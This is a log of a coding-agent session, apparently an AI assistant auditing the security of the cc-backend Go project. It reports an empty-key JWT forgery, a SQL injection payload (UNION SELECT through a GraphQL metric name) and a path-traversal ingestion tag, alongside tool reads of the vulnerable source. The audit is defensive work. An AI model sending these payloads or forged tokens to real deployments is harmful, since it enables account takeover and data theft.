JHPtMA0sqGH3yCC75rcs8pKmtvC+686NEy/QHsM4pPfJFh9mMihBPOhq7IUw5WHu8dMQKG5QpJ8lwycCIWYS44oOn8tx/0PDDrcnqNEzhJjXCftkxNuHBF2sm2SK5y33igYbnlDemlDbWXqSh2agHONPdw1XvAZmOih0fiXgSB9Xcv+T2k7YkvXY5lxlnmGRHG5rvx1Txyj3cwTDLpdujAYb3fA8JJvhytczQeXziz60FL/7Ck4np1MElZbkYd69++cqrgXwtsOzyeEk1hGc1+pYip+LBY4QhZjoZ71HftISoRMCsS8wANSbazdBt0xqrVY5PMDUV+3I+JdyB0sZBaMVwg1+jC+seomemmKPf7wSdE4tDP46sFHzpj5YUxQ9Z6N2LQTzGSsv3hXSPMNCGNPj7YFAfHY3tOatI+D3ZhCxfHDw5aKqWbRJFK8W6F0mDdTEOU0tifEeabXZDEIbtiIeXGvc8jMFte/6jzaX3nYEZkRpZEsFySuUcX+giovbSai7cuhS5AaCIMay1radCKTQTVb5SU+o3Qv6ZT+L/6qvdaEm3mcL6phCJ7uUejP7zMfsxaReTjxOYzKNVMKalkuJsioSn2Ne2U3se1EW5cqjo9gQBrUyv7hZ76Y8mpdVhQkV1tf460dGJi+C6GUyVDKFL+/LOpZNsy2Ld3lUsgW6iLp6zQsBle+OnQLhYmHGaKP53ELrcVjq7vqdLz1Zsyc4ggT6UfcXqVDqKOT504SmbSwW1LpfQc50MN3Pi8zdjhgB"}],"stop_reason":"end_turn","stop_sequence":null,"stop_details":null,"usage":{"input_tokens":2,"cache_creation_input_tokens":1708,"cache_read_input_tokens":6830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{"parentUuid":"e3107393-6e02-4c5e-85f9-ca1ac8e0752f","isSidechain":false,"message":{"model":"claude-opus-4-8","id":"msg_01LRsvuE6yD1hC1hxFwk75GG","type":"message","role":"assistant","content":[{"type":"text","text":"All three top findings are now verified — two with working PoCs, the third by code inspection. Here's the audit result.\n\n## Repeat security audit — verdict\n\n**Yes, the previous (Opus 4.7) audit missed severe issues — including two that I'd rate higher than anything it fixed.** There's a clear pattern: the prior audit fixed *one instance* of a bug class but missed a *sibling code path* with the same (or worse) flaw.\n\n- It fixed JWT algorithm/issuer confusion in `jwtCookieSession.go` — but missed the **sibling HMAC authenticator** `jwtSession.go`, which has an empty-key forgery bug.\n- It added `validatePathComponent` for the `machine_state` REST handlers — but missed the **metric-ingestion path** that builds filesystem paths from the same kind of input.\n\n---\n\n### 🔴 CRITICAL 1 — Unauthenticated admin takeover via empty-key HMAC JWT (`internal/auth/jwtSession.go`)\n\n`JWTSessionAuthenticator.Init()` (line 27) returns `nil` even when `CROSS_LOGIN_JWT_HS512_KEY` is unset, so the authenticator is **registered with `loginTokenKey == nil`** whenever the `jwts` config block exists (confirmed at `auth.go:233-238`). In `Login()` (line 61-66) the keyfunc returns that nil key for HS256/HS512 tokens. golang-jwt v5.3.1 happily verifies an HMAC signature against an empty key.\n\nI confirmed with a PoC against the pinned v5.3.1:\n```\nforged token: eyJhbGciOiJIUzUxMiIs...\nRESULT: FORGED TOKEN ACCEPTED sub=attacker roles=[admin]\n```\n`CanLogin` accepts any request with an `Authorization` header or `?login-token=`, and with the default `validate-user: false`, `getUserFromJWT` builds the user — **including roles — straight from the attacker's claims** (`jwtHelpers.go:125-137`). \n\n**Exploit:** unauthenticated attacker forges `HS512({\"sub\":\"x\",\"roles\":[\"admin\"]})` signed with an empty key, sends it as `Authorization: Bearer …`, and receives a full admin session. With `validate-user: true` it still allows impersonation of any existing user. Precondition (JWT configured but no HS512 cross-login key) is a common deployment.\n\n**Fix:** `Init()` must `return error` when the key is empty (so it isn't registered), and the keyfunc should reject `len(loginTokenKey)==0` — mirroring how `jwtCookieSession.go` already guards its prerequisites.\n\n---\n\n### 🔴 CRITICAL 2 — SQL injection via GraphQL metric name (`internal/repository/stats.go:959-969`, `jobQuery.go:343`)\n\nMetric names from the GraphQL `[String!]` args (`jobsStatistics`/`jobsMetricStats` `metrics`, and `JobFilter.metricStats.metricName`) are interpolated **raw** into a `json_extract(footprint, \"$.<name>\")` SQL string. No whitelist exists anywhere in the chain (`metrics` → `AddMetricHistograms` → `jobsMetricStatisticsHistogram(ctx, m, …)`, verified). SQLite treats `\"$.x\"` as a string literal, so a `\"` breaks out.\n\nConfirmed exfiltration PoC in SQLite:\n```\nmetric = cpu_avg\") UNION SELECT secret,1 FROM job--\n→ returns TOP-SECRET-DATA\n```\nReachable by **any authenticated RoleUser**; `SecurityCheck` only adds a row predicate that `UNION`/`--` discards. Result: arbitrary SQL read across all tables (other users' jobs, `hpc_user` roles/emails).\n\n**Fix:** whitelist metric names against the cluster's configured metric list, plus a strict `^[A-Za-z0-9_]+$` guard at the interpolation sites.\n\n---\n\n### 🟠 HIGH 3 — Arbitrary file write outside checkpoint root via metric ingestion (`pkg/metricstore/lineprotocol.go` → `walCheckpoint.go:246`, `checkpoint.go:251/347`)\n\n`DecodeLine` reads `cluster`/`hostname` line-protocol tags with **no validation** (only the measurement name is whitelisted). They flow verbatim into `path.Join(RootDir, msg.Cluster, msg.Node)` and then `os.MkdirAll` + `os.OpenFile(O_CREATE|O_TRUNC)`. `path.Join` cleans but does **not** confine, so `cluster=../../../../var/spool/cron` escapes the root.\n\nReachable **unauthenticated via NATS** (`ReceiveNats`) and via `POST /api/write` (RoleAPI). On the next checkpoint flush the server creates/truncates files outside the archive root under the service UID → potential code execution depending on deployment. The fix already exists in-repo (`validatePathComponent`, added by the prior audit for `machine_state`) — it just wasn't applied at ingestion.\n\n**Fix:** validate `cluster`/`host` in `DecodeLine` (reject `..`, `/`, `\\`, restrict charset), and add a defense-in-depth root-prefix check at the sinks.\n\n---\n\n### Medium (worth fixing, not release-blocking)\n\n- **No GraphQL complexity/depth limit + `items-per-page=-1` bypasses LIMIT** (`server.go:89`, `jobQuery.go:78`, REST `job.go:170`) — any authenticated user can force an unbounded DB + metric-store load (DoS). Negative values other than `-1` underflow `uint64`.\n- **Missing security headers** (`server.go`) — no CSP, `X-Frame-Options`, `X-Content-Type-Options`, `Referrer-Policy` (only HSTS). Enables clickjacking and amplifies any XSS.\n- **Stored XSS sink** `{@html job.metaData.message}` (`web/frontend/src/Job.root.svelte:240`, `JobFootprint.svelte:231`) — writable via `/api/jobs/edit_meta` (RoleAPI) or a hand-edited archive `meta.json`; executes in any viewer's browser. Combined with no CSP, unconstrained.\n- **Identity values interpolated into SQL** in tag counting (`tags.go:316-333`) — `user.Username`/`user.Projects` concatenated into SQL; low-risk for local accounts but exploitable for OIDC/LDAP-provisioned names containing `\"`.\n- **CSRF**: state-changing session-auth endpoints rely solely on `SameSite=Lax` (no token / Origin check).\n\n### Low\nORDER BY uses a fragile char *blacklist* not a column allow-list (`jobQuery.go` `toSnakeCase`); default JWT keypair only warns instead of being fatal (`main.go:217`); committed demo secrets/JWT; `AuthViaJWT` skips role validation (`jwt.go:114`); no local-password strength policy.\n\n---\n\nThe two CRITICALs (and the HIGH) are the genuinely severe items the prior audit missed, and all three are the \"same bug class, different file\" pattern noted above — so the fixes are mostly mechanical extensions of what's already there.\n\nWant me to implement the fixes? I'd suggest starting with the three top items (JWT Init guard, metric-name whitelist, ingestion path validation). I can do them as one branch with tests, or one commit per finding — your call."}],"stop_reason":"end_turn","stop_sequence":null,"stop_details":null,"usage":{"input_tokens":2,"cache_creation_input_tokens":1708,"cache_read_input_tokens":68306,"output_tokens":3940,"server_tool_use":{"web_search_requests":0,"web_fetch_requests":0},"service_tier":"standard","cache_creation":{"ephemeral_1h_input_tokens":1708,"ephemeral_5m_input_tokens":0},"inference_geo":"not_available","iterations":[{"input_tokens":2,"output_tokens":3940,"cache_read_input_tokens":68306,"cache_creation_input_tokens":1708,"cache_creation":{"ephemeral_5m_input_tokens":0,"ephemeral_1h_input_tokens":1708},"type":"message"}],"speed":"standard"},"diagnostics":null},"requestId":"req_011CbiZy3TGU4LW1NnuCybqd","type":"assistant","uuid":"50549864-71db-49da-99f4-cf3ab439ddfd","timestamp":"2026-06-04T16:55:06.395Z","userType":"external","entrypoint":"cli","cwd":"/Users/jan/prg/ClusterCockpit/cc-backend","sessionId":"135c59e3-1efb-44ab-aebd-4144ab7553b9","version":"2.1.162","gitBranch":"release/v1.5"}
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{"parentUuid":"14454201-d56c-4c66-8aa0-b0289556977b","isSidechain":false,"promptId":"bbd39334-b36d-433b-b3c4-bd747b5a6dd0","type":"user","message":{"role":"user","content":[{"tool_use_id":"toolu_01L1uH3M4vSgRk5VKgwPPkXW","type":"tool_result","content":"895\t// Returns MetricHistoPoints with metric name, unit, footprint stat type, and binned data.\n896\t//\n897\t// Algorithm:\n898\t//  1. Determine peak value from cluster configuration (filtered cluster or max across all)\n899\t//  2. Generate SQL that extracts footprint value, normalizes to [0,1], multiplies by bin count\n900\t//  3. Pre-initialize bins with min/max ranges based on peak value\n901\t//  4. Query database for counts per bin\n902\t//  5. Match results to pre-initialized bins\n903\t//\n904\t// Special handling: Values exactly equal to peak are forced into the last bin by multiplying\n905\t// peak by 0.999999999 to avoid creating an extra bin.\n906\tfunc (r *JobRepository) jobsMetricStatisticsHistogram(\n907\t\tctx context.Context,\n908\t\tmetric string,\n909\t\tfilters []*model.JobFilter,\n910\t\tbins *int,\n911\t) (*model.MetricHistoPoints, error) {\n912\t\t// Peak value defines the upper bound for binning: values are distributed across\n913\t\t// bins from 0 to peak. First try to get peak from filtered cluster, otherwise\n914\t\t// scan all clusters to find the maximum peak value.\n915\t\tvar metricConfig *schema.MetricConfig\n916\t\tvar peak float64\n917\t\tvar unit string\n918\t\tvar footprintStat string\n919\t\n920\t\t// Try to get metric config from filtered cluster\n921\t\tfor _, f := range filters {\n922\t\t\tif f.Cluster != nil {\n923\t\t\t\tmetricConfig = archive.GetMetricConfig(*f.Cluster.Eq, metric)\n924\t\t\t\tpeak = metricConfig.Peak\n925\t\t\t\tunit = metricConfig.Unit.Prefix + metricConfig.Unit.Base\n926\t\t\t\tfootprintStat = metricConfig.Footprint\n927\t\t\t\tcclog.Debugf(\"Cluster %s filter found with peak %f for %s\", *f.Cluster.Eq, peak, metric)\n928\t\t\t}\n929\t\t}"}]},"uuid":"f1621986-6715-4b09-b515-6e4b5f98c4f1","timestamp":"2026-06-04T16:56:37.871Z","toolUseResult":{"type":"text","file":{"filePath":"/Users/jan/prg/ClusterCockpit/cc-backend/internal/repository/stats.go","content":"// Returns MetricHistoPoints with metric name, unit, footprint stat type, and binned data.\n//\n// Algorithm:\n//  1. Determine peak value from cluster configuration (filtered cluster or max across all)\n//  2. Generate SQL that extracts footprint value, normalizes to [0,1], multiplies by bin count\n//  3. Pre-initialize bins with min/max ranges based on peak value\n//  4. Query database for counts per bin\n//  5. Match results to pre-initialized bins\n//\n// Special handling: Values exactly equal to peak are forced into the last bin by multiplying\n// peak by 0.999999999 to avoid creating an extra bin.\nfunc (r *JobRepository) jobsMetricStatisticsHistogram(\n\tctx context.Context,\n\tmetric string,\n\tfilters []*model.JobFilter,\n\tbins *int,\n) (*model.MetricHistoPoints, error) {\n\t// Peak value defines the upper bound for binning: values are distributed across\n\t// bins from 0 to peak. First try to get peak from filtered cluster, otherwise\n\t// scan all clusters to find the maximum peak value.\n\tvar metricConfig *schema.MetricConfig\n\tvar peak float64\n\tvar unit string\n\tvar footprintStat string\n\n\t// Try to get metric config from filtered cluster\n\tfor _, f := range filters {\n\t\tif f.Cluster != nil {\n\t\t\tmetricConfig = archive.GetMetricConfig(*f.Cluster.Eq, metric)\n\t\t\tpeak = metricConfig.Peak\n\t\t\tunit = metricConfig.Unit.Prefix + metricConfig.Unit.Base\n\t\t\tfootprintStat = metricConfig.Footprint\n\t\t\tcclog.Debugf(\"Cluster %s filter found with peak %f for %s\", *f.Cluster.Eq, peak, metric)\n\t\t}\n\t}","numLines":35,"startLine":895,"totalLines":1150}},"sourceToolAssistantUUID":"14454201-d56c-4c66-8aa0-b0289556977b","userType":"external","entrypoint":"cli","cwd":"/Users/jan/prg/ClusterCockpit/cc-backend","sessionId":"135c59e3-1efb-44ab-aebd-4144ab7553b9","version":"2.1.162","gitBranch":"release/v1.5"}
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{"parentUuid":"aeea949a-1cce-4824-92af-b8e369dcadb3","isSidechain":false,"promptId":"bbd39334-b36d-433b-b3c4-bd747b5a6dd0","type":"user","message":{"role":"user","content":[{"tool_use_id":"toolu_01NquGtZdgLW3RAFtCuPL3xN","type":"tool_result","content":"330\t\t\t\tcclog.Debugf(\"No known named timeRange: startTime.range = %s\", cond.Range)\n331\t\t\t\treturn query\n332\t\t\t}\n333\t\t\treturn query.Where(field+\" >= ?\", then)\n334\t\t} else {\n335\t\t\treturn query\n336\t\t}\n337\t}\n338\t\n339\t// buildFloatJSONCondition creates a filter on a numeric field within the footprint JSON column, using BETWEEN only if required.\n340\tfunc buildFloatJSONCondition(jsonField string, cond *model.FloatRange, query sq.SelectBuilder) sq.SelectBuilder {\n341\t\tquery = query.Where(\"JSON_VALID(footprint)\")\n342\t\tif cond.From > 0.0 && cond.To > 0.0 {\n343\t\t\treturn query.Where(\"JSON_EXTRACT(footprint, \\\"$.\"+jsonField+\"\\\") BETWEEN ? AND ?\", cond.From, cond.To)\n344\t\t} else if cond.From > 0.0 && cond.To == 0.0 {\n345\t\t\treturn query.Where(\"JSON_EXTRACT(footprint, \\\"$.\"+jsonField+\"\\\") >= ?\", cond.From)\n346\t\t} else if cond.From == 0.0 && cond.To > 0.0 {\n347\t\t\treturn query.Where(\"JSON_EXTRACT(footprint, \\\"$.\"+jsonField+\"\\\") <= ?\", cond.To)\n348\t\t} else {\n349\t\t\treturn query\n350\t\t}\n351\t}\n352\t\n353\t// buildStringCondition creates filters for string fields supporting equality,\n354\t// inequality, prefix, suffix, substring, and IN list matching."}]},"uuid":"8b244c3c-f1fb-4fd7-82d1-b425ac17374e","timestamp":"2026-06-04T16:56:38.794Z","toolUseResult":{"type":"text","file":{"filePath":"/Users/jan/prg/ClusterCockpit/cc-backend/internal/repository/jobQuery.go","content":"\t\t\tcclog.Debugf(\"No known named timeRange: startTime.range = %s\", cond.Range)\n\t\t\treturn query\n\t\t}\n\t\treturn query.Where(field+\" >= ?\", then)\n\t} else {\n\t\treturn query\n\t}\n}\n\n// buildFloatJSONCondition creates a filter on a numeric field within the footprint JSON column, using BETWEEN only if required.\nfunc buildFloatJSONCondition(jsonField string, cond *model.FloatRange, query sq.SelectBuilder) sq.SelectBuilder {\n\tquery = query.Where(\"JSON_VALID(footprint)\")\n\tif cond.From > 0.0 && cond.To > 0.0 {\n\t\treturn query.Where(\"JSON_EXTRACT(footprint, \\\"$.\"+jsonField+\"\\\") BETWEEN ? AND ?\", cond.From, cond.To)\n\t} else if cond.From > 0.0 && cond.To == 0.0 {\n\t\treturn query.Where(\"JSON_EXTRACT(footprint, \\\"$.\"+jsonField+\"\\\") >= ?\", cond.From)\n\t} else if cond.From == 0.0 && cond.To > 0.0 {\n\t\treturn query.Where(\"JSON_EXTRACT(footprint, \\\"$.\"+jsonField+\"\\\") <= ?\", cond.To)\n\t} else {\n\t\treturn query\n\t}\n}\n\n// buildStringCondition creates filters for string fields supporting equality,\n// inequality, prefix, suffix, substring, and IN list matching.","numLines":25,"startLine":330,"totalLines":441}},"sourceToolAssistantUUID":"aeea949a-1cce-4824-92af-b8e369dcadb3","userType":"external","entrypoint":"cli","cwd":"/Users/jan/prg/ClusterCockpit/cc-backend","sessionId":"135c59e3-1efb-44ab-aebd-4144ab7553b9","version":"2.1.162","gitBranch":"release/v1.5"}
{"parentUuid":"8b244c3c-f1fb-4fd7-82d1-b425ac17374e","isSidechain":false,"message":{"model":"claude-opus-4-8","id":"msg_01Urc4ftymPAPih9uxyXfZQB","type":"message","role":"assistant","content":[{"type":"tool_use","id":"toolu_015EybTEGhH32NAnp9DdeJyM","name":"Read","input":{"file_path":"/Users/jan/prg/ClusterCockpit/cc-backend/pkg/metricstore/lineprotocol.go","offset":190,"limit":130},"caller":{"type":"direct"}}],"stop_reason":"tool_use","stop_sequence":null,"stop_details":null,"usage":{"input_tokens":2,"cache_creation_input_tokens":9,"cache_read_input_tokens":73954,"output_tokens":855,"server_tool_use":{"web_search_requests":0,"web_fetch_requests":0},"service_tier":"standard","cache_creation":{"ephemeral_1h_input_tokens":9,"ephemeral_5m_input_tokens":0},"inference_geo":"not_available","iterations":[{"input_tokens":2,"output_tokens":855,"cache_read_input_tokens":73954,"cache_creation_input_tokens":9,"cache_creation":{"ephemeral_5m_input_tokens":0,"ephemeral_1h_input_tokens":9},"type":"message"}],"speed":"standard"},"diagnostics":null},"requestId":"req_011Cbia8sYVVJ3dC5Yz6prJB","type":"assistant","uuid":"b0f8c0ca-7d57-465e-a9d0-5ce2f2b67636","timestamp":"2026-06-04T16:56:39.532Z","userType":"external","entrypoint":"cli","cwd":"/Users/jan/prg/ClusterCockpit/cc-backend","sessionId":"135c59e3-1efb-44ab-aebd-4144ab7553b9","version":"2.1.162","gitBranch":"release/v1.5"}
{"parentUuid":"b0f8c0ca-7d57-465e-a9d0-5ce2f2b67636","isSidechain":false,"promptId":"bbd39334-b36d-433b-b3c4-bd747b5a6dd0","type":"user","message":{"role":"user","content":[{"tool_use_id":"toolu_015EybTEGhH32NAnp9DdeJyM","type":"tool_result","content":"190\t//     prevType*/prevSubType* fields because batches typically repeat the same\n191\t//     sub-device identifiers.\n192\t//   - Timestamp parsing tries Second precision first; if that fails it retries\n193\t//     Millisecond, Microsecond, and Nanosecond in turn. A missing timestamp\n194\t//     falls back to time.Now().\n195\t//\n196\t// When the checkpoint format is \"wal\" each successfully decoded sample is also\n197\t// sent to WALMessages so the WAL staging goroutine can persist it durably\n198\t// before the next binary snapshot.\n199\tfunc DecodeLine(dec *lineprotocol.Decoder,\n200\t\tms *MemoryStore,\n201\t\tclusterDefault string,\n202\t) error {\n203\t\t// Reduce allocations in loop:\n204\t\tt := time.Now()\n205\t\tmetric := Metric{}\n206\t\tst := decodeStatePool.Get().(*decodeState)\n207\t\tdefer decodeStatePool.Put(st)\n208\t\n209\t\t// Optimize for the case where all lines in a \"batch\" are about the same\n210\t\t// cluster and host. By using `WriteToLevel` (level = host), we do not need\n211\t\t// to take the root- and cluster-level lock as often.\n212\t\tvar lvl *Level = nil\n213\t\tprevCluster, prevHost := \"\", \"\"\n214\t\n215\t\tvar ok bool\n216\t\tfor dec.Next() {\n217\t\t\trawmeasurement, err := dec.Measurement()\n218\t\t\tif err != nil {\n219\t\t\t\treturn err\n220\t\t\t}\n221\t\n222\t\t\t// Needs to be copied because another call to dec.* would\n223\t\t\t// invalidate the returned slice.\n224\t\t\tst.metricBuf = append(st.metricBuf[:0], rawmeasurement...)\n225\t\n226\t\t\t// The go compiler optimizes map[string(byteslice)] lookups:\n227\t\t\tmetric.MetricConfig, ok = ms.Metrics[string(rawmeasurement)]\n228\t\t\tif !ok {\n229\t\t\t\tcontinue\n230\t\t\t}\n231\t\n232\t\t\tst.typeBuf, st.subTypeBuf = st.typeBuf[:0], st.subTypeBuf[:0]\n233\t\t\tcluster, host := clusterDefault, \"\"\n234\t\t\tfor {\n235\t\t\t\tkey, val, err := dec.NextTag()\n236\t\t\t\tif err != nil {\n237\t\t\t\t\treturn err\n238\t\t\t\t}\n239\t\t\t\tif key == nil {\n240\t\t\t\t\tbreak\n241\t\t\t\t}\n242\t\n243\t\t\t\t// The go compiler optimizes string([]byte{...}) == \"...\":\n244\t\t\t\tswitch string(key) {\n245\t\t\t\tcase \"cluster\":\n246\t\t\t\t\tif string(val) == prevCluster {\n247\t\t\t\t\t\tcluster = prevCluster\n248\t\t\t\t\t} else {\n249\t\t\t\t\t\tcluster = string(val)\n250\t\t\t\t\t\tlvl = nil\n251\t\t\t\t\t}\n252\t\t\t\tcase \"hostname\", \"host\":\n253\t\t\t\t\tif string(val) == prevHost {\n254\t\t\t\t\t\thost = prevHost\n255\t\t\t\t\t} else {\n256\t\t\t\t\t\thost = string(val)\n257\t\t\t\t\t\tlvl = nil\n258\t\t\t\t\t}\n259\t\t\t\tcase \"type\":\n260\t\t\t\t\tif string(val) == \"node\" {\n261\t\t\t\t\t\tbreak\n262\t\t\t\t\t}\n263\t\n264\t\t\t\t\t// We cannot be sure that the \"type\" tag comes before the \"type-id\" tag:\n265\t\t\t\t\tif len(st.typeBuf) == 0 {\n266\t\t\t\t\t\tst.typeBuf = append(st.typeBuf, val...)\n267\t\t\t\t\t} else {\n268\t\t\t\t\t\tst.typeBuf = reorder(st.typeBuf, val)\n269\t\t\t\t\t}\n270\t\t\t\tcase \"type-id\":\n271\t\t\t\t\tst.typeBuf = append(st.typeBuf, val...)\n272\t\t\t\tcase \"stype\":\n273\t\t\t\t\t// We cannot be sure that the \"stype\" tag comes before the \"stype-id\" tag:\n274\t\t\t\t\tif len(st.subTypeBuf) == 0 {\n275\t\t\t\t\t\tst.subTypeBuf = append(st.subTypeBuf, val...)\n276\t\t\t\t\t} else {\n277\t\t\t\t\t\tst.subTypeBuf = reorder(st.subTypeBuf, val)\n278\t\t\t\t\t}\n279\t\t\t\tcase \"stype-id\":\n280\t\t\t\t\tst.subTypeBuf = append(st.subTypeBuf, val...)\n281\t\t\t\tdefault:\n282\t\t\t\t}\n283\t\t\t}\n284\t\n285\t\t\t// If the cluster or host changed, the lvl was set to nil\n286\t\t\tif lvl == nil {\n287\t\t\t\tst.selector = st.selector[:2]\n288\t\t\t\tst.selector[0], st.selector[1] = cluster, host\n289\t\t\t\tlvl = ms.GetLevel(st.selector)\n290\t\t\t\tprevCluster, prevHost = cluster, host\n291\t\t\t}\n292\t\n293\t\t\t// subtypes: cache []byte→string conversions; messages in a batch typically\n294\t\t\t// share the same type/stype so the hit rate is very high.\n295\t\t\tst.selector = st.selector[:0]\n296\t\t\tif len(st.typeBuf) > 0 {\n297\t\t\t\tif !bytes.Equal(st.typeBuf, st.prevTypeBytes) {\n298\t\t\t\t\tst.prevTypeBytes = append(st.prevTypeBytes[:0], st.typeBuf...)\n299\t\t\t\t\tst.prevTypeStr = string(st.typeBuf)\n300\t\t\t\t}\n301\t\t\t\tst.selector = append(st.selector, st.prevTypeStr)\n302\t\t\t\tif len(st.subTypeBuf) > 0 {\n303\t\t\t\t\tif !bytes.Equal(st.subTypeBuf, st.prevSubTypeBytes) {\n304\t\t\t\t\t\tst.prevSubTypeBytes = append(st.prevSubTypeBytes[:0], st.subTypeBuf...)\n305\t\t\t\t\t\tst.prevSubTypeStr = string(st.subTypeBuf)\n306\t\t\t\t\t}\n307\t\t\t\t\tst.selector = append(st.selector, st.prevSubTypeStr)\n308\t\t\t\t}\n309\t\t\t}\n310\t\n311\t\t\tfor {\n312\t\t\t\tkey, val, err := dec.NextField()\n313\t\t\t\tif err != nil {\n314\t\t\t\t\treturn err\n315\t\t\t\t}\n316\t\n317\t\t\t\tif key == nil {\n318\t\t\t\t\tbreak\n319\t\t\t\t}"}]},"uuid":"2b99860a-d1bd-4a65-bce7-114d502ddc94","timestamp":"2026-06-04T16:56:39.548Z","toolUseResult":{"type":"text","file":{"filePath":"/Users/jan/prg/ClusterCockpit/cc-backend/pkg/metricstore/lineprotocol.go","content":"//     prevType*/prevSubType* fields because batches typically repeat the same\n//     sub-device identifiers.\n//   - Timestamp parsing tries Second precision first; if that fails it retries\n//     Millisecond, Microsecond, and Nanosecond in turn. A missing timestamp\n//     falls back to time.Now().\n//\n// When the checkpoint format is \"wal\" each successfully decoded sample is also\n// sent to WALMessages so the WAL staging goroutine can persist it durably\n// before the next binary snapshot.\nfunc DecodeLine(dec *lineprotocol.Decoder,\n\tms *MemoryStore,\n\tclusterDefault string,\n) error {\n\t// Reduce allocations in loop:\n\tt := time.Now()\n\tmetric := Metric{}\n\tst := decodeStatePool.Get().(*decodeState)\n\tdefer decodeStatePool.Put(st)\n\n\t// Optimize for the case where all lines in a \"batch\" are about the same\n\t// cluster and host. By using `WriteToLevel` (level = host), we do not need\n\t// to take the root- and cluster-level lock as often.\n\tvar lvl *Level = nil\n\tprevCluster, prevHost := \"\", \"\"\n\n\tvar ok bool\n\tfor dec.Next() {\n\t\trawmeasurement, err := dec.Measurement()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\t// Needs to be copied because another call to dec.* would\n\t\t// invalidate the returned slice.\n\t\tst.metricBuf = append(st.metricBuf[:0], rawmeasurement...)\n\n\t\t// The go compiler optimizes map[string(byteslice)] lookups:\n\t\tmetric.MetricConfig, ok = ms.Metrics[string(rawmeasurement)]\n\t\tif !ok {\n\t\t\tcontinue\n\t\t}\n\n\t\tst.typeBuf, st.subTypeBuf = st.typeBuf[:0], st.subTypeBuf[:0]\n\t\tcluster, host := clusterDefault, \"\"\n\t\tfor {\n\t\t\tkey, val, err := dec.NextTag()\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tif key == nil {\n\t\t\t\tbreak\n\t\t\t}\n\n\t\t\t// The go compiler optimizes string([]byte{...}) == \"...\":\n\t\t\tswitch string(key) {\n\t\t\tcase \"cluster\":\n\t\t\t\tif string(val) == prevCluster {\n\t\t\t\t\tcluster = prevCluster\n\t\t\t\t} else {\n\t\t\t\t\tcluster = string(val)\n\t\t\t\t\tlvl = nil\n\t\t\t\t}\n\t\t\tcase \"hostname\", \"host\":\n\t\t\t\tif string(val) == prevHost {\n\t\t\t\t\thost = prevHost\n\t\t\t\t} else {\n\t\t\t\t\thost = string(val)\n\t\t\t\t\tlvl = nil\n\t\t\t\t}\n\t\t\tcase \"type\":\n\t\t\t\tif string(val) == \"node\" {\n\t\t\t\t\tbreak\n\t\t\t\t}\n\n\t\t\t\t// We cannot be sure that the \"type\" tag comes before the \"type-id\" tag:\n\t\t\t\tif len(st.typeBuf) == 0 {\n\t\t\t\t\tst.typeBuf = append(st.typeBuf, val...)\n\t\t\t\t} else {\n\t\t\t\t\tst.typeBuf = reorder(st.typeBuf, val)\n\t\t\t\t}\n\t\t\tcase \"type-id\":\n\t\t\t\tst.typeBuf = append(st.typeBuf, val...)\n\t\t\tcase \"stype\":\n\t\t\t\t// We cannot be sure that the \"stype\" tag comes before the \"stype-id\" tag:\n\t\t\t\tif len(st.subTypeBuf) == 0 {\n\t\t\t\t\tst.subTypeBuf = append(st.subTypeBuf, val...)\n\t\t\t\t} else {\n\t\t\t\t\tst.subTypeBuf = reorder(st.subTypeBuf, val)\n\t\t\t\t}\n\t\t\tcase \"stype-id\":\n\t\t\t\tst.subTypeBuf = append(st.subTypeBuf, val...)\n\t\t\tdefault:\n\t\t\t}\n\t\t}\n\n\t\t// If the cluster or host changed, the lvl was set to nil\n\t\tif lvl == nil {\n\t\t\tst.selector = st.selector[:2]\n\t\t\tst.selector[0], st.selector[1] = cluster, host\n\t\t\tlvl = ms.GetLevel(st.selector)\n\t\t\tprevCluster, prevHost = cluster, host\n\t\t}\n\n\t\t// subtypes: cache []byte→string conversions; messages in a batch typically\n\t\t// share the same type/stype so the hit rate is very high.\n\t\tst.selector = st.selector[:0]\n\t\tif len(st.typeBuf) > 0 {\n\t\t\tif !bytes.Equal(st.typeBuf, st.prevTypeBytes) {\n\t\t\t\tst.prevTypeBytes = append(st.prevTypeBytes[:0], st.typeBuf...)\n\t\t\t\tst.prevTypeStr = string(st.typeBuf)\n\t\t\t}\n\t\t\tst.selector = append(st.selector, st.prevTypeStr)\n\t\t\tif len(st.subTypeBuf) > 0 {\n\t\t\t\tif !bytes.Equal(st.subTypeBuf, st.prevSubTypeBytes) {\n\t\t\t\t\tst.prevSubTypeBytes = append(st.prevSubTypeBytes[:0], st.subTypeBuf...)\n\t\t\t\t\tst.prevSubTypeStr = string(st.subTypeBuf)\n\t\t\t\t}\n\t\t\t\tst.selector = append(st.selector, st.prevSubTypeStr)\n\t\t\t}\n\t\t}\n\n\t\tfor {\n\t\t\tkey, val, err := dec.NextField()\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\tif key == nil {\n\t\t\t\tbreak\n\t\t\t}","numLines":130,"startLine":190,"totalLines":380}},"sourceToolAssistantUUID":"b0f8c0ca-7d57-465e-a9d0-5ce2f2b67636","userType":"external","entrypoint":"cli","cwd":"/Users/jan/prg/ClusterCockpit/cc-backend","sessionId":"135c59e3-1efb-44ab-aebd-4144ab7553b9","version":"2.1.162","gitBranch":"release/v1.5"}
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{"parentUuid":"017ec257-af74-4ff6-a754-a7abe31f9482","isSidechain":false,"promptId":"bbd39334-b36d-433b-b3c4-bd747b5a6dd0","type":"user","message":{"role":"user","content":[{"tool_use_id":"toolu_016iVcixfg1qwYf45X9wMz46","type":"tool_result","content":"319\t\t\t\t}\n320\t\n321\t\t\t\tif string(key) != \"value\" {\n322\t\t\t\t\treturn fmt.Errorf(\"host %s: unknown field: '%s' (value: %#v)\", host, string(key), val)\n323\t\t\t\t}\n324\t\n325\t\t\t\tif val.Kind() == lineprotocol.Float {\n326\t\t\t\t\tmetric.Value = schema.Float(val.FloatV())\n327\t\t\t\t} else if val.Kind() == lineprotocol.Int {\n328\t\t\t\t\tmetric.Value = schema.Float(val.IntV())\n329\t\t\t\t} else if val.Kind() == lineprotocol.Uint {\n330\t\t\t\t\tmetric.Value = schema.Float(val.UintV())\n331\t\t\t\t} else {\n332\t\t\t\t\treturn fmt.Errorf(\"host %s: unsupported value type in message: %s\", host, val.Kind().String())\n333\t\t\t\t}\n334\t\t\t}\n335\t\n336\t\t\tif t, err = dec.Time(lineprotocol.Second, t); err != nil {\n337\t\t\t\tt = time.Now()\n338\t\t\t\tif t, err = dec.Time(lineprotocol.Millisecond, t); err != nil {\n339\t\t\t\t\tt = time.Now()\n340\t\t\t\t\tif t, err = dec.Time(lineprotocol.Microsecond, t); err != nil {\n341\t\t\t\t\t\tt = time.Now()\n342\t\t\t\t\t\tif t, err = 